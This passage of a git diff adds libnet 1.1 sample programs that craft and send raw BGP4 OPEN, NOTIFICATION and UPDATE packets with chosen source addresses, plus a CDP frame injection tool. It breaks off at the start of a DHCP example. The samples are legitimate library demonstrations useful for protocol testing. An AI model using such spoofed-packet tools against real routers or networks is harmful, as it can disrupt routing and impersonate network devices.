64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip -d destination_ip" + " [-m marker] [-p payload] [-t BGP type]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/bgp4_notification.c b/libnet/sample/bgp4_notification.c new file mode 100644 index 0000000..79aa5c3 --- /dev/null +++ b/libnet/sample/bgp4_notification.c @@ -0,0 +1,242 @@ +/* + * + * libnet 1.1 + * Build a BGP4 notification with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * + * Example: + * + * Sending of a BGP NOTIFICATION : BGP4_OPEN_MESSAGE_ERROR / BGP4_AUTHENTICATION_FAILURE + * + * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -e 2 -c 5 + * libnet 1.1 packet shaping: BGP4 notification + payload[raw] + * Wrote 61 byte TCP packet; check the wire. + * + * 14:37:45.398786 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843030(21) win 32767: BGP (ttl 64, id 242, len 61) + * 0x0000 4500 003d 00f2 0000 4006 73c4 0101 0101 E..=....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff ac8a 0000 0101 0101 0101 0101 P............... + * 0x0030 0101 0101 0101 0101 0015 0302 05 ............. + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + u_long src_ip, dst_ip, length; + libnet_ptag_t t = 0; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_char *payload = NULL; + u_long payload_s = 0; + u_char marker[LIBNET_BGP4_MARKER_SIZE]; + u_char code, subcode; + + printf("libnet 1.1 packet shaping: BGP4 notification + payload[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + code = subcode = 0; + memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); + + while ((c = getopt(argc, argv, "d:s:t:m:p:c:e:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 'm': + memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); + break; + + case 'e': + code = atoi(optarg); + break; + + case 'c': + subcode = atoi(optarg); + break; + + case 'p': + payload = optarg; + payload_s = strlen(optarg); + break; + + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + length = LIBNET_BGP4_NOTIFICATION_H + payload_s; + t = libnet_build_bgp4_notification( + code, /* error code */ + subcode, /* error subcode */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 notification: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_BGP4_HEADER_H; + t = libnet_build_bgp4_header( + marker, /* marker */ + length, /* length */ + LIBNET_BGP4_NOTIFICATION, /* message type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_TCP_H; + t = libnet_build_tcp( + 0x6666, /* source port */ + 179, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + length, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_IPV4_H; + t = libnet_build_ipv4( + length, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip -d destination_ip" + " [-m marker] [-e error] [-c subcode] [-p payload] \n", + name); +} + +/* EOF */ diff --git a/libnet/sample/bgp4_open.c b/libnet/sample/bgp4_open.c new file mode 100644 index 0000000..b6286c4 --- /dev/null +++ b/libnet/sample/bgp4_open.c @@ -0,0 +1,266 @@ +/* + * + * libnet 1.1 + * Build a BGP4 open message with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Examples: + * + * minimal BGP OPEN message: + * + * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 + * + * 12:17:00.879139 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843038(29) win 32767: BGP (ttl 64, id 242, len 69) + * 0x0000 4500 0045 00f2 0000 4006 73bc 0101 0101 E..E....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff ad2e 0000 0101 0101 0101 0101 P............... + * 0x0030 0101 0101 0101 0101 001d 0104 1234 5678 .............4Vx + * 0x0040 dead beef 00 ..... + * + * + * use payload as BGP option for authentication: + * + * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 -p `printf "\x01\x01\x00"` -S 3 + * + * 12:15:48.102808 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843041(32) win 32767: BGP (ttl 64, id 242, len 72) + * 0x0000 4500 0048 00f2 0000 4006 73b9 0101 0101 E..H....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff a927 0000 0101 0101 0101 0101 P....'.......... + * 0x0030 0101 0101 0101 0101 0020 0104 1234 5678 .............4Vx + * 0x0040 dead beef 0301 0100 ........ + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + u_long src_ip, dst_ip, length; + libnet_ptag_t t = 0; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_char *payload = NULL; + u_long payload_s = 0; + u_char marker[LIBNET_BGP4_MARKER_SIZE]; + + printf("libnet 1.1 packet shaping: BGP4 open + payload[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); + + while ((c = getopt(argc, argv, "d:s:t:m:p:S:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 'm': + memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); + break; + + case 'p': + payload = optarg; + break; + + case 'S': + payload_s = atoi(optarg); + break; + + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !dst_ip) + { + usage(argv[0]); + goto bad; + } + + if (payload_s && !payload) + { + payload = (u_char *)malloc(payload_s); + if (!payload) + { + printf("memory allocation failed (%ld bytes requested)\n", payload_s); + goto bad; + } + memset(payload, 0x41, payload_s); + } + + + if (payload && !payload_s) + { + payload_s = strlen(payload); + } + + length = LIBNET_BGP4_OPEN_H + payload_s; + t = libnet_build_bgp4_open( + 4, /* version */ + 0x3412, /* my AS */ + 0x7856, /* hold time */ + 0xefbeadde, /* BGP id */ + payload_s, /* options length */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 open header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_BGP4_HEADER_H; + t = libnet_build_bgp4_header( + marker, /* marker */ + length, /* length */ + LIBNET_BGP4_OPEN, /* message type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_TCP_H; + t = libnet_build_tcp( + 0x6666, /* source port */ + 179, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + length, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_IPV4_H; + t = libnet_build_ipv4( + length, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip -d destination_ip" + " [-m marker] [-p payload] [-S payload size]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/bgp4_update.c b/libnet/sample/bgp4_update.c new file mode 100644 index 0000000..a9bf52b --- /dev/null +++ b/libnet/sample/bgp4_update.c @@ -0,0 +1,337 @@ +/* + * + * libnet 1.1 + * Build a BGP4 update message with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Examples: + * + * empty BGP UPDATE message: + * + * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 + * libnet 1.1 packet shaping: BGP4 update + payload[raw] + * Wrote 63 byte TCP packet; check the wire. + * + * 13:44:29.216135 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843032(23) win 32767: BGP (ttl 64, id 242, len 63) + * 0x0000 4500 003f 00f2 0000 4006 73c2 0101 0101 E..?....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff b288 0000 0101 0101 0101 0101 P............... + * 0x0030 0101 0101 0101 0101 0017 0200 0000 00 ............... + * + * + * BGP UPDATE with Path Attributes and Unfeasible Routes Length + * + * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -a `printf "\x01\x02\x03"` -A 3 -W 13 + * libnet 1.1 packet shaping: BGP4 update + payload[raw] + * Wrote 79 byte TCP packet; check the wire. + * + * 13:45:59.579901 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843048(39) win 32767: BGP (ttl 64, id 242, len 79) + * 0x0000 4500 004f 00f2 0000 4006 73b2 0101 0101 E..O....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff 199b 0000 0101 0101 0101 0101 P............... + * 0x0030 0101 0101 0101 0101 0027 0200 0d41 4141 .........'...AAA + * 0x0040 4141 4141 4141 4141 4141 0003 0102 03 AAAAAAAAAA..... + * + * + * BGP UPDATE with Reachability Information + * + * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -I 7 + * libnet 1.1 packet shaping: BGP4 update + payload[raw] + * Wrote 70 byte TCP packet; check the wire. + * + * 13:49:02.829225 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843039(30) win 32767: BGP (ttl 64, id 242, len 70) + * 0x0000 4500 0046 00f2 0000 4006 73bb 0101 0101 E..F....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff e86d 0000 0101 0101 0101 0101 P....m.......... + * 0x0030 0101 0101 0101 0101 001e 0200 0000 0043 ...............C + * 0x0040 4343 4343 4343 CCCCCC + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +#define set_ptr_and_size(ptr, size, val, flag) \ + if (size && !ptr) \ + { \ + ptr = (u_char *)malloc(size); \ + if (!ptr) \ + { \ + printf("memory allocation failed (%u bytes requested)\n", size); \ + goto bad; \ + } \ + memset(ptr, val, size); \ + flag = 1; \ + } \ + \ + if (ptr && !size) \ + { \ + size = strlen(ptr); \ + } + + + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + u_long src_ip, dst_ip, length; + libnet_ptag_t t = 0; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_char *payload = NULL; + u_long payload_s = 0; + u_char marker[LIBNET_BGP4_MARKER_SIZE]; + + u_short u_rt_l = 0; + u_char *withdraw_rt = NULL; + char flag_w = 0; + u_short attr_l = 0; + u_char *attr = NULL; + char flag_a = 0; + u_short info_l = 0; + u_char *info = NULL; + char flag_i = 0; + + printf("libnet 1.1 packet shaping: BGP4 update + payload[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); + + while ((c = getopt(argc, argv, "d:s:t:m:p:w:W:a:A:i:I:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + + case 'w': + withdraw_rt = optarg; + break; + + case 'W': + u_rt_l = atoi(optarg); + break; + + case 'a': + attr = optarg; + break; + + case 'A': + attr_l = atoi(optarg); + break; + + case 'i': + info = optarg; + break; + + case 'I': + info_l = atoi(optarg); + break; + + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !dst_ip) + { + usage(argv[0]); + goto bad; + } + + set_ptr_and_size(withdraw_rt, u_rt_l, 0x41, flag_w); + set_ptr_and_size(attr, attr_l, 0x42, flag_a); + set_ptr_and_size(info, info_l, 0x43, flag_i); + + /* + * BGP4 update messages are "dynamic" are fields have variable size. The only + * sizes we know are those for the 2 first fields ... so we need to count them + * plus their value. + */ + length = LIBNET_BGP4_UPDATE_H + u_rt_l + attr_l + info_l + payload_s; + t = libnet_build_bgp4_update( + u_rt_l, /* Unfeasible Routes Length */ + withdraw_rt, /* Withdrawn Routes */ + attr_l, /* Total Path Attribute Length */ + attr, /* Path Attributes */ + info_l, /* Network Layer Reachability Information length */ + info, /* Network Layer Reachability Information */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 update header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_BGP4_HEADER_H; + t = libnet_build_bgp4_header( + marker, /* marker */ + length, /* length */ + LIBNET_BGP4_UPDATE, /* message type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_TCP_H; + t = libnet_build_tcp( + 0x6666, /* source port */ + 179, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + length, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_IPV4_H; + t = libnet_build_ipv4( + length, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + + if (flag_w) free(withdraw_rt); + if (flag_a) free(attr); + if (flag_i) free(info); + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + if (flag_w) free(withdraw_rt); + if (flag_a) free(attr); + if (flag_i) free(info); + + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip -d destination_ip \n" + " [-m marker] [-p payload] [-S payload size]\n" + " [-w Withdrawn Routes] [-W Unfeasible Routes Length]\n" + " [-a Path Attributes] [-A Attribute Length]\n" + " [-i Reachability Information] [-I Reachability Information length]\n", + name); +} + + +/* EOF */ diff --git a/libnet/sample/cdp.c b/libnet/sample/cdp.c new file mode 100644 index 0000000..d96c950 --- /dev/null +++ b/libnet/sample/cdp.c @@ -0,0 +1,160 @@ +/* + * $Id: cdp.c,v 1.3 2004/11/09 07:05:07 mike Exp $ + * + * cdppoke + * CDP information injection tool + * Released as part of the MXFP Layer 2 Toolkit + * http://www.packetfactory.net/MXFP + * + * Copyright (c) 2004 Mike D. Schiffman <mike@infonexus.com> + * Copyright (c) 2004 Jeremy Rauch <jrauch@cadre.org> + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#if ((_WIN32) && !(__CYGWIN__)) +#include "../include/win32/config.h" +#else +#include "../include/config.h" +#endif +#endif +#include "./libnet_test.h" + + +int +main(int argc, char *argv[]) +{ + int c, len, index; + libnet_t *l; + libnet_ptag_t t; + u_char *value; + u_char values[100]; + u_short tmp; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_int8_t oui[3] = { 0x00, 0x00, 0x0c }; + u_int8_t cdp_mac[6] = {0x01, 0x0, 0xc, 0xcc, 0xcc, 0xcc}; + + if (argc != 3) + { + fprintf(stderr, "usage %s device device-id\n", argv[0]); + return (EXIT_FAILURE); + } + + fprintf(stderr, "cdppoke...\n"); + + l = libnet_init(LIBNET_LINK, argv[1], errbuf); + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + return (EXIT_FAILURE); + } + + /* build the TLV's by hand until we get something better */ + memset(values, 0, sizeof(values)); + index = 0; + + tmp = htons(LIBNET_CDP_VERSION); + memcpy(values, &tmp, 2); + index += 2; + tmp = htons(9); /* length of string below plus type and length fields */ + memcpy(values + index, &tmp, 2); + index += 2; + memcpy(values + index, (u_char *)"1.1.1", 5); + index += 5; + + /* this TLV is handled by the libnet builder */ + value = argv[2]; + len = strlen(argv[2]); + + /* build CDP header */ + t = libnet_build_cdp( + 1, /* version */ + 30, /* time to live */ + 0x0, /* checksum */ + 0x1, /* type */ + len, /* length */ + value, /* value */ + values, /* payload */ + index, /* payload size */ + l, /* libnet context */ + 0); /* libnet ptag */ + if (t == -1) + { + fprintf(stderr, "Can't build CDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* build 802.2 header */ + t = libnet_build_802_2snap( + LIBNET_SAP_SNAP, /* SAP SNAP code */ + LIBNET_SAP_SNAP, /* SAP SNAP code */ + 0x03, /* control */ + oui, /* OUI */ + 0x2000, /* upper layer protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* libnet ptag */ + if (t == -1) + { + fprintf(stderr, "Can't build SNAP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* build 802.3 header */ + t = libnet_build_802_3( + cdp_mac, /* ethernet destination */ + (u_int8_t *)libnet_get_hwaddr(l), /* ethernet source */ + LIBNET_802_2_H + LIBNET_802_2SNAP_H + LIBNET_CDP_H, /* packet len */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* libnet ptag */ + if (t == -1) + { + fprintf(stderr, "Can't build 802.3 header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* write the packet out */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte CDP frame \"%s\"\n", c, argv[2]); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/dhcp_discover.c b/libnet/sample/dhcp_discover.c new file mode 100644 index 0000000..dd4c5b7 --- /dev/null +++ b/libnet/sample/dhcp_discover.c @@ -0,0 +1,249 @@ +/* + * $Id: dhcp_discover.c,v 1.3 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build a DHCP discover packet + * To view: /usr/sbin/tcpdump -vvvvven -s 4096 'port 67 or port 68' + * + * Copyright (c) 